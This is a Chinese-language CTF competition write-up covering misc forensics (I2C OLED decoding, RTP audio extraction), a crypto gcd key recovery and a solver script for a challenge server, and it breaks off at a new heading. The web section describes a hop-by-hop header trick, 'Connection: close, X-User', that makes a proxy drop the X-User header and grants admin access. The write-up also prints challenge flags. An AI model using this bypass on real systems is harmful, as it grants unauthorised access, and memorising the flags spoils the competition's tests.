队伍名称：GoblinSEC 队伍排名：116  > 感谢Crypto0 cx LilRan yearn ZianTT 多多 清酒 秋雨样 凸凸 带飞 ## MISC ### 签到 #### 解题思路 题目描述有flag ```Plain > cat flag flag{我已阅读参赛须知，并遵守比赛规则。} ``` #### Flag flag{我已阅读参赛须知，并遵守比赛规则。} ### Personal Vault #### 解题思路 010非预期  #### flag flag{personal_vault_seems_a_little_volatile_innit} ### 问卷调查 #### 解题思路 填问卷得flag  #### Flag flag{我已知晓，并会认真撰写wp！} ### legacyOLED #### 解题思路 sr 文件是 zip 文件，解压出来 metadata 看到 `sigrok version=0.5.2` 在 GitHub 以 `oled sigrok` 为关键词找到原题 CTFSG 2022  https://github.com/bobby-tables2/CTF-Archive/blob/main/CTFSG%202022/SIGINT/Writeup/SIGINT.md 在 sigrok 官网下载 PulseView，尝试使用 I²C 解码器，得到数据与以上原题很相似，基本可以确认是 SSD1306 导出数据 ``` 2257254-2257254 I2C: Address/Data: Start 2257295-2257575 I2C: Address/Data: Address write: 3C 2257575-2257615 I2C: Address/Data: Write 2257615-2257655 I2C: Address/Data: ACK 2257670-2257990 I2C: Address/Data: Data write: 00 2257990-2258030 I2C: Address/Data: ACK 2258030-2258350 I2C: Address/Data: Data write: 20 2258350-2258390 I2C: Address/Data: ACK 2258390-2258710 I2C: Address/Data: Data write: 01 2258710-2258750 I2C: Address/Data: ACK 2258792-2258792 I2C: Address/Data: Stop 2258999-2258999 I2C: Address/Data: Start 2259039-2259319 I2C: Address/Data: Address write: 3C 2259319-2259359 I2C: Address/Data: Write 2259359-2259399 I2C: Address/Data: ACK 2259415-2259735 I2C: Address/Data: Data write: 00 2259735-2259775 I2C: Address/Data: ACK 2259775-2260095 I2C: Address/Data: Data write: 22 2260095-2260135 I2C: Address/Data: ACK 2260135-2260457 I2C: Address/Data: Data write: 03 2260456-2260497 I2C: Address/Data: ACK 2260496-2260816 I2C: Address/Data: Data write: 05 2260816-2260856 I2C: Address/Data: ACK 2260897-2260897 I2C: Address/Data: Stop 2261079-2261079 I2C: Address/Data: Start 2261119-2261399 I2C: Address/Data: Address write: 3C 2261399-2261439 I2C: Address/Data: Write 2261439-2261479 I2C: Address/Data: ACK 2261495-2261815 I2C: Address/Data: Data write: 00 2261815-2261855 I2C: Address/Data: ACK 2261855-2262175 I2C: Address/Data: Data write: 21 2262175-2262215 I2C: Address/Data: ACK 2262215-2262535 I2C: Address/Data: Data write: 22 2262535-2262575 I2C: Address/Data: ACK 2262575-2262895 I2C: Address/Data: Data write: 3B 2262895-2262935 I2C: Address/Data: ACK 2262977-2262977 I2C: Address/Data: Stop 2263226-2263226 I2C: Address/Data: Start 2263267-2263547 I2C: Address/Data: Address write: 3C 2263547-2263587 I2C: Address/Data: Write 2263587-2263627 I2C: Address/Data: ACK 2263665-2263985 I2C: Address/Data: Data write: 40 2263985-2264025 I2C: Address/Data: ACK 2264025-2264345 I2C: Address/Data: Data write: 00 2264345-2264385 I2C: Address/Data: ACK 2264385-2264705 I2C: Address/Data: Data write: 00 2264705-2264745 I2C: Address/Data: ACK 2264745-2265065 I2C: Address/Data: Data write: 00 2265065-2265105 I2C: Address/Data: ACK 2265105-2265425 I2C: Address/Data: Data write: 00 2265425-2265465 I2C: Address/Data: ACK 2265465-2265786 I2C: Address/Data: Data write: 00 2265786-2265826 I2C: Address/Data: ACK 2265826-2266146 I2C: Address/Data: Data write: 00 2266146-2266186 I2C: Address/Data: ACK 2266186-2266506 I2C: Address/Data: Data write: C0 2266506-2266546 I2C: Address/Data: ACK 2266546-2266866 I2C: Address/Data: Data write: 00 2266866-2266906 I2C: Address/Data: ACK 2266906-2267226 I2C: Address/Data: Data write: 00 2267226-2267266 I2C: Address/Data: ACK 2267266-2267586 I2C: Address/Data: Data write: E0 2267586-2267626 I2C: Address/Data: ACK 2267626-2267946 I2C: Address/Data: Data write: 01 2267946-2267986 I2C: Address/Data: ACK 2267986-2268306 I2C: Address/Data: Data write: 00 2268306-2268346 I2C: Address/Data: ACK 2268346-2268666 I2C: Address/Data: Data write: F8 2268666-2268706 I2C: Address/Data: ACK 2268706-2269026 I2C: Address/Data: Data write: 07 2269026-2269066 I2C: Address/Data: ACK 以下省略 ``` 不同的是，根据标准（https://cdn-shop.adafruit.com/datasheets/SSD1306.pdf）可知，本题既有横向绘图，又有纵向，写脚本提取数据并绘图 ```python with open('export.txt', 'r') as f: lines = f.read().splitlines() filtered_lines = [line for line in lines if 'write: ' in line] with open('filtered.txt', 'w') as f: for line in filtered_lines: f.write(line + '\n') groups = [] tmp = [] for line in filtered_lines: if line.endswith('Address write: 3C'): if tmp: groups.append(tmp) tmp = [] else: tmp.append(int(line[-2:], 16)) if tmp: groups.append(tmp) print(groups) canvas = [[0] * 128 for _ in range(64)] horizontal = True page_start = 0 page_end = 7 page = 0 col_start = 0 col_end = 127 col = 0 for group in groups: match group: case [0x00, 0x20, 0x00]: horizontal = True case [0x00, 0x20, 0x01]: horizontal = False case [0x00, 0x21, col_l, col_h]: col_start = col_l col_end = col_h col = col_start case [0x00, 0x22, page_l, page_h]: page_start = page_l page_end = page_h page = page_start case [0x40, *data]: # col = col_start # page = page_start for byte in data: for bit in range(8): if page_start <= page <= page_end and col_start <= col <= col_end: canvas[page * 8 + bit][col] = (byte >> bit) & 1 if horizontal: col += 1 if col > col_end: col = col_start page += 1 if page > page_end: page = page_start else: page += 1 if page > page_end: page = page_start col += 1 if col > col_end: col = col_start for row in canvas: print(''.join('1' if pixel else '0' for pixel in row)) ```  每 8 位的最高位是 0，猜测为 ASCII  #### flag qwb{Re41_Ma5te7-O5-S5Dl3o6_12C} ### 谍影重重6.0 WMCTF2025 RTP流量  ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 超快速RTP流提取工具 直接处理原始字节，避免Scapy完整解析 """ import os import struct import wave from concurrent.futures import ThreadPoolExecutor from collections import defaultdict import threading PCAP_FILE = "Data.pcap" OUTPUT_DIR = "rtp_audio" NUM_THREADS = 32 # 创建输出目录 os.makedirs(OUTPUT_DIR, exist_ok=True) # G.711 μ-law 解码表（预先构建） MULAW_TABLE = [] for i in range(256): mulaw = ~i & 0xFF sign = -1 if (mulaw & 0x80) else 1 exponent = (mulaw & 0x70) >> 4 mantissa = mulaw & 0x0F magnitude = ((mantissa << 3) + 0x84) << exponent magnitude = magnitude - 0x84 MULAW_TABLE.append(sign * magnitude) def decode_mulaw_fast(data): """快速解码 μ-law""" result = bytearray(len(data) * 2) for i, byte in enumerate(data): pcm_value = MULAW_TABLE[byte] struct.pack_into('<h', result, i * 2, pcm_value) return bytes(result) def read_pcap_raw(filename): """快速读取pcap文件，只提取UDP包的原始数据""" packets = [] with open(filename, 'rb') as f: # 读取全局头（24字节） global_header = f.read(24) if len(global_header) < 24: return packets magic = struct.unpack('<I', global_header[0:4])[0] if magic == 0xa1b2c3d4: endian = '<' elif magic == 0xd4c3b2a1: endian = '>' else: print("不支持的pcap格式") return packets count = 0 while True: # 读取包头（16字节） packet_header = f.read(16) if len(packet_header) < 16: break ts_sec, ts_usec, incl_len, orig_len = struct.unpack(f'{endian}IIII', packet_header) # 读取包数据 packet_data = f.read(incl_len) if len(packet_data) < incl_len: break count += 1 if count % 100000 == 0: print(f"[*] 已读取 {count} 个包...") packets.append(packet_data) return packets def parse_ethernet_ip_udp(raw_data): """快速解析以太网/IP/UDP包""" try: # 以太网头（14字节） if len(raw_data) < 14: return None eth_type = struct.unpack('!H', raw_data[12:14])[0] # 检查是否是IP包（0x0800） if eth_type != 0x0800: return None # IP头（最小20字节） if len(raw_data) < 34: return None ip_start = 14 ip_header_len = (raw_data[ip_start] & 0x0F) * 4 ip_protocol = raw_data[ip_start + 9] # 检查是否是UDP（17） if ip_protocol != 17: return None src_ip = '.'.join(str(b) for b in raw_data[ip_start+12:ip_start+16]) dst_ip = '.'.join(str(b) for b in raw_data[ip_start+16:ip_start+20]) # UDP头（8字节） udp_start = ip_start + ip_header_len if len(raw_data) < udp_start + 8: return None src_port = struct.unpack('!H', raw_data[udp_start:udp_start+2])[0] dst_port = struct.unpack('!H', raw_data[udp_start+2:udp_start+4])[0] udp_len = struct.unpack('!H', raw_data[udp_start+4:udp_start+6])[0] # UDP payload payload_start = udp_start + 8 udp_payload = raw_data[payload_start:payload_start + udp_len - 8] return { 'src_ip': src_ip, 'dst_ip': dst_ip, 'src_port': src_port, 'dst_port': dst_port, 'payload': udp_payload } except: return None def parse_rtp(udp_payload): """快速解析RTP包""" try: if len(udp_payload) < 12: return None # 检查版本号 version = (udp_payload[0] >> 6) & 0x03 if version != 2: return None padding = (udp_payload[0] >> 5) & 0x01 csrc_count = udp_payload[0] & 0x0F payload_type = udp_payload[1] & 0x7F sequence = struct.unpack('!H', udp_payload[2:4])[0] timestamp = struct.unpack('!I', udp_payload[4:8])[0] ssrc = struct.unpack('!I', udp_payload[8:12])[0] # 提取payload header_len = 12 + (4 * csrc_count) if len(udp_payload) < header_len: return None payload = udp_payload[header_len:] # 移除padding if padding and len(payload) > 0: padding_len = payload[-1] if padding_len <= len(payload): payload = payload[:-padding_len] return { 'ssrc': ssrc, 'sequence': sequence, 'timestamp': timestamp, 'payload_type': payload_type, 'payload': payload } except: return None # 全局计数器 processed_counter = 0 rtp_counter = 0 counter_lock = threading.Lock() def process_packet_batch(args): """处理一批数据包""" batch_id, packets_batch = args global processed_counter, rtp_counter local_streams = defaultdict(lambda: { 'packets': [], 'payload_type': None, 'src_ip': None, 'dst_ip': None, 'src_port': None, 'dst_port': None }) local_rtp_count = 0 for raw_packet in packets_batch: # 解析UDP包 udp_info = parse_ethernet_ip_udp(raw_packet) if not udp_info: continue # 解析RTP rtp_info = parse_rtp(udp_info['payload']) if not rtp_info: continue local_rtp_count += 1 ssrc = rtp_info['ssrc'] # 记录流信息 if local_streams[ssrc]['payload_type'] is None: local_streams[ssrc]['payload_type'] = rtp_info['payload_type'] local_streams[ssrc]['src_ip'] = udp_info['src_ip'] local_streams[ssrc]['dst_ip'] = udp_info['dst_ip'] local_streams[ssrc]['src_port'] = udp_info['src_port'] local_streams[ssrc]['dst_port'] = udp_info['dst_port'] local_streams[ssrc]['packets'].append({ 'sequence': rtp_info['sequence'], 'timestamp': rtp_info['timestamp'], 'payload': rtp_info['payload'] }) # 更新全局计数器 with counter_lock: processed_counter += len(packets_batch) rtp_counter += local_rtp_count if processed_counter % 100000 < len(packets_batch): print(f"[*] 已处理 {processed_counter} 个包, 找到 {rtp_counter} 个RTP包...") return dict(local_streams) def merge_streams(all_results): """合并所有线程的结果""" merged = defaultdict(lambda: { 'packets': [], 'payload_type': None, 'src_ip': None, 'dst_ip': None, 'src_port': None, 'dst_port': None }) for result in all_results: for ssrc, stream_data in result.items(): if merged[ssrc]['payload_type'] is None: merged[ssrc]['payload_type'] = stream_data['payload_type'] merged[ssrc]['src_ip'] = stream_data['src_ip'] merged[ssrc]['dst_ip'] = stream_data['dst_ip'] merged[ssrc]['src_port'] = stream_data['src_port'] merged[ssrc]['dst_port'] = stream_data['dst_port'] merged[ssrc]['packets'].extend(stream_data['packets']) return dict(merged) def main(): global processed_counter, rtp_counter print(f"[+] 正在快速读取 {PCAP_FILE}...") packets = read_pcap_raw(PCAP_FILE) total_packets = len(packets) print(f"[+] 已读取 {total_packets} 个数据包到内存") print(f"[+] 使用 {NUM_THREADS} 个线程并行处理") # 将数据包分批 batch_size = (total_packets + NUM_THREADS - 1) // NUM_THREADS batches = [(i, packets[i:i + batch_size]) for i in range(0, total_packets, batch_size)] print(f"[+] 分成 {len(batches)} 批，每批约 {batch_size} 个包") print(f"[+] 开始并行处理...") # 重置计数器 processed_counter = 0 rtp_counter = 0 # 多线程处理 results = [] with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor: futures = [executor.submit(process_packet_batch, batch) for batch in batches] for future in futures: results.append(future.result()) print(f"[+] 合并结果...") streams = merge_streams(results) print(f"\n[+] 处理完成!") print(f"[+] 总数据包: {total_packets}") print(f"[+] RTP数据包: {rtp_counter}") print(f"[+] 识别出 {len(streams)} 个RTP流\n") # 保存每个流 for idx, (ssrc, stream_data) in enumerate(streams.items(), 1): packets_list = stream_data['packets'] payload_type = stream_data['payload_type'] # 按序列号排序 packets_list.sort(key=lambda x: x['sequence']) print(f"流 #{idx} - SSRC: 0x{ssrc:08X}") print(f" 数据包数: {len(packets_list)}") print(f" Payload Type: {payload_type}") print(f" {stream_data['src_ip']}:{stream_data['src_port']} -> " f"{stream_data['dst_ip']}:{stream_data['dst_port']}") # 确定编码 if payload_type == 0: codec = "G.711 μ-law (PCMU)" needs_decode = True elif payload_type == 8: codec = "G.711 A-law (PCMA)" needs_decode = True else: codec = f"未知 (PT={payload_type})" needs_decode = False print(f" 编码: {codec}") # 合并payload raw_data = b''.join(p['payload'] for p in packets_list) # 保存原始数据 raw_file = os.path.join(OUTPUT_DIR, f"stream_{idx}_{ssrc:08X}.raw") with open(raw_file, 'wb') as f: f.write(raw_data) print(f" 原始文件: {raw_file} ({len(raw_data)} 字节)") # 解码并保存WAV if needs_decode and payload_type == 0: try: pcm_data = decode_mulaw_fast(raw_data) wav_file = os.path.join(OUTPUT_DIR, f"stream_{idx}_{ssrc:08X}.wav") with wave.open(wav_file, 'wb') as wav: wav.setnchannels(1) # 单声道 wav.setsampwidth(2) # 16-bit wav.setframerate(8000) # 8kHz wav.writeframes(pcm_data) duration = len(pcm_data) / (8000 * 2) print(f" WAV文件: {wav_file} (时长: {duration:.2f}秒)") except Exception as e: print(f" WAV转换失败: {e}") print() print(f"[+] 所有文件已保存到: {OUTPUT_DIR}") if __name__ == "__main__": main() ``` ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 合并RTP音频流，增强音量并删除静音部分 """ import os import wave import struct import numpy as np from pathlib import Path INPUT_DIR = "rtp_audio" OUTPUT_FILE = "merged_audio.wav" VOLUME_BOOST_DB = 36 # 音量增强 dB SILENCE_THRESHOLD = 200 # 静音阈值（16-bit PCM） MIN_SILENCE_DURATION = 0.1 # 最小静音时长（秒） def read_wav(filename): """读取WAV文件""" with wave.open(filename, 'rb') as wav: channels = wav.getnchannels() sample_width = wav.getsampwidth() framerate = wav.getframerate() frames = wav.readframes(wav.getnframes()) # 转换为numpy数组 if sample_width == 2: # 16-bit audio_data = np.frombuffer(frames, dtype=np.int16) else: raise ValueError(f"不支持的采样宽度: {sample_width}") return audio_data, framerate, channels, sample_width def boost_volume(audio_data, db_gain): """增强音量""" # 转换为浮点数处理 audio_float = audio_data.astype(np.float32) # dB to linear gain gain = 10 ** (db_gain / 20.0) # 应用增益 audio_float *= gain # 防止削波（clipping） audio_float = np.clip(audio_float, -32768, 32767) return audio_float.astype(np.int16) def remove_silence(audio_data, framerate, threshold, min_duration): """删除静音部分""" # 计算最小静音帧数 min_silence_frames = int(min_duration * framerate) # 检测非静音区域 is_sound = np.abs(audio_data) > threshold # 找到所有声音段 sound_segments = [] start = None for i, has_sound in enumerate(is_sound): if has_sound and start is None: start = i elif not has_sound and start is not None: # 检查静音段长度 if i - start >= min_silence_frames or i == len(is_sound) - 1: sound_segments.append((start, i)) start = None # 如果音频以声音结束 if start is not None: sound_segments.append((start, len(audio_data))) # 如果没有声音段，返回空数组 if not sound_segments: return np.array([], dtype=audio_data.dtype), [] # 合并所有声音段 result_segments = [] for start, end in sound_segments: result_segments.append(audio_data[start:end]) result = np.concatenate(result_segments) if result_segments else np.array([], dtype=audio_data.dtype) return result, sound_segments def write_wav(filename, audio_data, framerate, channels, sample_width): """写入WAV文件""" with wave.open(filename, 'wb') as wav: wav.setnchannels(channels) wav.setsampwidth(sample_width) wav.setframerate(framerate) wav.writeframes(audio_data.tobytes()) def format_time(seconds): """格式化时间""" hours = int(seconds // 3600) minutes = int((seconds % 3600) // 60) secs = seconds % 60 if hours > 0: return f"{hours:02d}:{minutes:02d}:{secs:06.3f}" else: return f"{minutes:02d}:{secs:06.3f}" def main(): print(f"[+] 扫描 {INPUT_DIR} 目录...") # 获取所有WAV文件并排序 wav_files = sorted([f for f in os.listdir(INPUT_DIR) if f.endswith('.wav')]) if not wav_files: print("[!] 未找到WAV文件") return print(f"[+] 找到 {len(wav_files)} 个WAV文件") print(f"[+] 音量增强: +{VOLUME_BOOST_DB} dB") print(f"[+] 静音阈值: {SILENCE_THRESHOLD}") print(f"[+] 最小静音时长: {MIN_SILENCE_DURATION} 秒\n") # 存储所有处理后的音频和位置信息 all_audio = [] file_positions = [] current_position = 0.0 # 获取采样率等参数（假设所有文件相同） first_file = os.path.join(INPUT_DIR, wav_files[0]) _, framerate, channels, sample_width = read_wav(first_file) print("处理进度:") print("-" * 80) for idx, filename in enumerate(wav_files, 1): filepath = os.path.join(INPUT_DIR, filename) # 读取音频 audio_data, fr, ch, sw = read_wav(filepath) original_duration = len(audio_data) / fr # 增强音量 audio_boosted = boost_volume(audio_data, VOLUME_BOOST_DB) # 删除静音 audio_trimmed, sound_segments = remove_silence( audio_boosted, fr, SILENCE_THRESHOLD, MIN_SILENCE_DURATION ) # 计算处理后的时长 trimmed_duration = len(audio_trimmed) / fr if len(audio_trimmed) > 0: # 记录位置信息 start_time = current_position end_time = current_position + trimmed_duration file_positions.append({ 'index': idx, 'filename': filename, 'original_duration': original_duration, 'trimmed_duration': trimmed_duration, 'start_time': start_time, 'end_time': end_time, 'removed_duration': original_duration - trimmed_duration }) # 添加到合并列表 all_audio.append(audio_trimmed) current_position = end_time print(f"[{idx:4d}/{len(wav_files)}] {filename}") print(f" 原始时长: {format_time(original_duration)} | " f"处理后: {format_time(trimmed_duration)} | " f"删除: {format_time(original_duration - trimmed_duration)}") print(f" 在合并音频中的位置: {format_time(start_time)} - {format_time(end_time)}") else: print(f"[{idx:4d}/{len(wav_files)}] {filename} - 跳过（完全静音）") if idx % 50 == 0: print("-" * 80) print("\n[+] 合并所有音频...") if not all_audio: print("[!] 没有有效的音频数据") return # 合并所有音频 merged_audio = np.concatenate(all_audio) total_duration = len(merged_audio) / framerate print(f"[+] 写入合并文件: {OUTPUT_FILE}") write_wav(OUTPUT_FILE, merged_audio, framerate, channels, sample_width) print(f"[+] 合并完成!") print(f" 总文件数: {len(file_positions)}") print(f" 总时长: {format_time(total_duration)}") print(f" 采样率: {framerate} Hz") print(f" 声道数: {channels}") # 保存位置信息到文本文件 position_file = "audio_positions.txt" with open(position_file, 'w', encoding='utf-8') as f: f.write("音频文件合并位置信息\n") f.write("=" * 100 + "\n\n") f.write(f"合并参数:\n") f.write(f" - 音量增强: +{VOLUME_BOOST_DB} dB\n") f.write(f" - 静音阈值: {SILENCE_THRESHOLD}\n") f.write(f" - 最小静音时长: {MIN_SILENCE_DURATION} 秒\n") f.write(f" - 总文件数: {len(file_positions)}\n") f.write(f" - 总时长: {format_time(total_duration)}\n\n") f.write("-" * 100 + "\n") f.write(f"{'序号':<6} {'文件名':<40} {'开始时间':<12} {'结束时间':<12} {'时长':<10} {'删除':<10}\n") f.write("-" * 100 + "\n") for pos in file_positions: f.write(f"{pos['index']:<6} " f"{pos['filename']:<40} " f"{format_time(pos['start_time']):<12} " f"{format_time(pos['end_time']):<12} " f"{format_time(pos['trimmed_duration']):<10} " f"{format_time(pos['removed_duration']):<10}\n") print(f"\n[+] 位置信息已保存到: {position_file}") if __name__ == "__main__": main() ``` Stream 263 264 https://www.yuque.com/baicaigongchang1145haoyuangong/ib3g1e/dkxgpiy9zb96hob4#nVNhX 651466314514271616614214660701456661601411451426071146666014214371656514214470 8进制，不定长 ```python def octal_to_text(digits): result = [] i = 0 n = len(digits) while i < n: found = False for length in [3, 2, 1]: if i + length > n: continue oct_str = digits[i:i+length] dec_val = int(oct_str, 8) if 32 <= dec_val <= 126: result.append(chr(dec_val)) i += length found = True break if not found: raise ValueError(f"无法解码位置 {i}, 剩余数字: {digits[i:]}") return ''.join(result) digits = "651466314514271616614214660701456661601411451426071146666014214371656514214470" try: decoded = octal_to_text(digits) print("解码结果:", decoded) except Exception as e: print("错误:", e) ``` 脚本解密得到解压密码`5f3eb916bf08e610aeb09f60bc955bd8` 解开音频，听到`双鲤湖西岸南山茶铺`结合题目信息1949.10和真实历史事件查询得知金门战役，日期为10.24，与音频中廿四担秋茶匹配，同时音频提及`辰时正过三刻`，即8.45，结合信息可得`1949年10月24日8时45分于双鲤湖西岸南山茶铺`，md5作为答案提交即可 ### The_Interrogation_Room #### 解题思路 像极了审讯犯人录口供，要在有限的交互中gank8个secrets，这里根据server.py中的代码需要在审讯时进行严厉拷打，需要注意的是要先试用PoW来解sha256，然后在17个问题中确定8个秘密的值，这里可以通过构造s[i]==1来直接提问前8个问题，后9个是四元奇偶校验问题，检查四个比特中是否有奇数个为1。后面的直接用析取范式来搞，脚本遍历所有256种可能的8比特赋值，对于每种赋值，计算预测的17个回答。比较预测回答与实际观测回答，计算矛盾次数，择矛盾次数最少的赋值作为提交答案。具体可看exp ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # 交互解题脚本： # - 自动 PoW: 解 sha256(XXXX+suffix) == hexdigest # - 每轮 17 次问答：8 个单比特询问 + 9 个四元“奇数个为真”校验 # - 收到 17 个 True/False 后，遍历 2^8=256 个可能向量，计算与观测向量的矛盾次数，取最小者提交 import re import sys import time import string import itertools from hashlib import sha256 from concurrent.futures import ThreadPoolExecutor, as_completed from pwn import remote, context from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') HOST = "8.147.135.220" PORT = 36899 ALPHABET = string.ascii_letters + string.digits # 62^4 搜索空间 # 9 个四元校验的下标集合（保证每个比特至少出现 4 次） CHECKS = [ (0, 1, 2, 3), # C0 (0, 4, 5, 6), # C1 (0, 1, 4, 7), # C2 (1, 2, 5, 7), # C3 (2, 3, 6, 7), # C4 (3, 4, 5, 7), # C5 (0, 2, 4, 6), # C6 (1, 3, 5, 6), # C7 (0, 1, 2, 7), # C8 ] def solve_pow(suffix: str, target_hex: str, threads: int = 16) -> str: """ 求解 XXXX 使 sha256(XXXX + suffix) == target_hex 多线程分片：按首字符分成 62 片，每个线程负责若干首字符。 """ found = [None] def worker(prefixes): for c0 in prefixes: # 62^3 = 238,328 次循环 / 前缀 for c1 in ALPHABET: for c2 in ALPHABET: for c3 in ALPHABET: x = c0 + c1 + c2 + c3 if sha256((x + suffix).encode()).hexdigest() == target_hex: return x return None # 平分 ALPHABET 给 threads 个任务桶 buckets = [[] for _ in range(threads)] for i, ch in enumerate(ALPHABET): buckets[i % threads].append(ch) with ThreadPoolExecutor(max_workers=threads) as ex: futs = [ex.submit(worker, bucket) for bucket in buckets] for fu in as_completed(futs): ans = fu.result() if ans: # 取消剩余任务 for f2 in futs: f2.cancel() return ans raise RuntimeError("PoW 解失败（时间可能不够？可以把线程开大点或换更快的机器试试）") def bit_questions(): """前 8 个单比特问题：'( S{i} == 1 )'""" return [f"( S{i} == 1 )" for i in range(8)] def xor_expr(indices): """ 生成“这几个变量中有奇数个为 1”的布尔表达式（仅用 and/or/()==0/1） DNF：把所有奇数个 1 的指派列举出来。 """ vars_idx = list(indices) k = len(vars_idx) terms = [] for mask in range(1 << k): if bin(mask).count("1") % 2 == 1: # 奇数个 1 lits = [] for pos, j in enumerate(vars_idx): v = 1 if (mask >> pos) & 1 else 0 lits.append(f"( S{j} == {v} )") terms.append("( " + " and ".join(lits) + " )") return "( " + " or ".join(terms) + " )" def parity_questions(): """后 9 个四元奇偶问题""" return [xor_expr(indices) for indices in CHECKS] def all_questions(): """拼成总共 17 个问题（严格使用白名单 token，并确保空格分隔）""" return bit_questions() + parity_questions() def predict_answers(assignment_bits): """ 对给定 8 比特 assignment_bits（0/1 列表），预测 17 个问题在“囚徒不说谎”情况下的答案（True/False） """ s = assignment_bits # 前 8 个：直接等于对应比特是否为 1 ans = [bool(s[i]) for i in range(8)] # 后 9 个：四元奇偶（奇数个为 1） for indices in CHECKS: parity = sum(s[j] for j in indices) % 2 ans.append(bool(parity)) return ans def nearest_assignment(observed_answers): """ 观测到 17 个 True/False（其中恰有 2 次反转），在 256 个候选中选出“矛盾最少”的 assignment（若多解取第一个） """ best = None best_dist = 1 << 30 for x in range(256): assign = [(x >> i) & 1 for i in range(8)] # 低位对应 S0 pred = predict_answers(assign) dist = sum(pa != oa for pa, oa in zip(pred, observed_answers)) if dist < best_dist: best_dist = dist best = assign if best_dist == 0: break # 理论上 best_dist 应 ≤ 2；但即使 2 谎恰好“碰撞”，我们依然取最近邻 return best, best_dist def parse_bool_line(line: bytes) -> bool: """ 解析 "Prisoner's response: True!\n" / "False!\n" 之类 """ m = re.search(rb"(True|False)", line) if not m: raise ValueError(f"无法解析返回：{line!r}") return m.group(1) == b"True" def one_round(io) -> bool: """ 跑一轮：发 17 个问题，收 17 个答复，算出 8 比特并提交。成功返回 True，失败（被当场嘲笑）返回 False。 """ qs = all_questions() answers = [] for q in qs: io.recvuntil(b"Ask your question:") io.sendline(q.encode()) # 紧接着会有一行“Prisoner's response: X!” line = io.recvuntil(b'\n\n') if not line: raise EOFError("连接被关闭或超时") ans = parse_bool_line(line) answers.append(ans) # 提交答案 io.recvuntil(b"Now reveal the true secrets") assign, dist = nearest_assignment(answers) submit = " ".join(str(b) for b in assign) io.sendline(submit.encode()) # 读一行判定 line = io.recvline(timeout=5) or b"" if b"laughs triumphantly" in line: return False return True def main(): io = remote(HOST, PORT) # ==== PoW ==== data = io.recvuntil(b"Give me XXXX: ", timeout=5) # 例如：sha256(XXXX+abcDEF...) == deadbeef... m = re.search(rb"sha256\(XXXX\+(?P<sfx>[A-Za-z0-9]+)\) == (?P<hex>[0-9a-f]{64})", data) if not m: print(data.decode(errors="ignore")) raise RuntimeError("没抓到 PoW 提示") suffix = m.group("sfx").decode() target = m.group("hex").decode() t0 = time.time() xxxx = solve_pow(suffix, target, threads=16) t1 = time.time() log.info(f"PoW solved: {xxxx} (耗时 {t1 - t0:.2f}s)") io.sendline(xxxx.encode()) # 可能会有 Notice 和欢迎词 # 然后进入 TURNS=25 轮 rounds = 0 try: while True: # 等待每轮开始时的欢迎段落（不严格匹配，直到看到 "Ask your question:"） io.recvuntil(b"Ask your question:", timeout=10) # 这一行已经吃掉了第一句提示，所以先发一个 no-op 回退？不，我们把它当作第 1 个问答的提示，直接发第 1 个问题即可。 # 由于上面消耗了一个 "Ask your question:", 我们这里需要把第一个问题单独发掉。 qs = all_questions() answers = [] # 第一个问题（已经有提示了） io.sendline(qs[0].encode()) line = io.recvuntil(b'\n\n') or b"" ans = parse_bool_line(line) answers.append(ans) # 余下 16 个 for q in qs[1:]: io.recvuntil(b"Ask your question:") io.sendline(q.encode()) line = io.recvuntil(b'!\n\n') or b"" ans = parse_bool_line(line) answers.append(ans) io.recvuntil(b"Now reveal the true secrets") assign, dist = nearest_assignment(answers) submit = " ".join(str(b) for b in assign) io.sendline(submit.encode()) # 读回合结果 line = io.recv(timeout=5) or b"" rounds += 1 log.success(f"Round {rounds} done; decoding distance={dist}") # 如果失败会直接退出，这里兜底多读几行看有没有 flag if b"laughs triumphantly" in line: print(line.decode(errors="ignore")) break # 可能还会有一段继续提示 # 检查是否已经给出 flag more = io.recv(timeout=0.5) or b"" print(more.decode()) if b"flag" in more.lower(): print(more.decode(errors="ignore")) break except EOFError: pass except KeyboardInterrupt: pass finally: # 尝试把最后的输出都打出来（包含 flag） try: rest = io.recvrepeat(1.0) if rest: print(rest.decode(errors="ignore")) except Exception: pass io.close() if __name__ == "__main__": main() ```  #### Flag flag{e9f1e129-66a1-4439-adf5-81bf936a7b06} ## Crypto ### check-little #### 解题思路 N和c的位数一样长，那么 key^3 远大于 N，取模后 c 是 key^3 mod N,考虑key=p，然后解aes即可。 ```python import math import gmpy2 from Crypto.Util.number import * from Crypto.Cipher import AES N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213 c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740 p = math.gcd(c, N) key_bytes = long_to_bytes(p)[:16] iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d' c1 = bytes.fromhex('bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2') cipher = AES.new(key=key_bytes, iv=iv, mode=AES.MODE_CBC) m = cipher.decrypt(c1) print(m) #b'flag{m_m4y_6e_divIS1b1e_by_p?!}\x01' ``` #### flag flag{m_m4y_6e_divIS1b1e_by_p?!} ## Web ### SecretVault #### 解题思路 根据附件中的容器搭建本地服务后审计代码发现flask前端的路由、自定义头是一个非常抽象的东西 Go是一个用于处理jwt的签名Proxy，会分别读取并del掉Authorization、X-User、XFF、Cookie，但是你会发现X-User为空时直接传参会添加一个0值，既然它有一个/sign路由，在flask中主要在/dashboard中做文章，会发现一个非常神奇的点，如果我把X-User干到connection: close后面，由于使用的是短连接，就可以直接新建一个会话，如下图，因为admin的uid为 0，那么由于没有X-User对应的值，这里就会直接当成 uid 为0了，那么就可以被误认为是admin，随后显示flag 需要定义 ```http Connection: close, X-User ```     #### flag flag{15b2df1f-4780-4643-b029-978b22cd504e} ### Bbjv #### 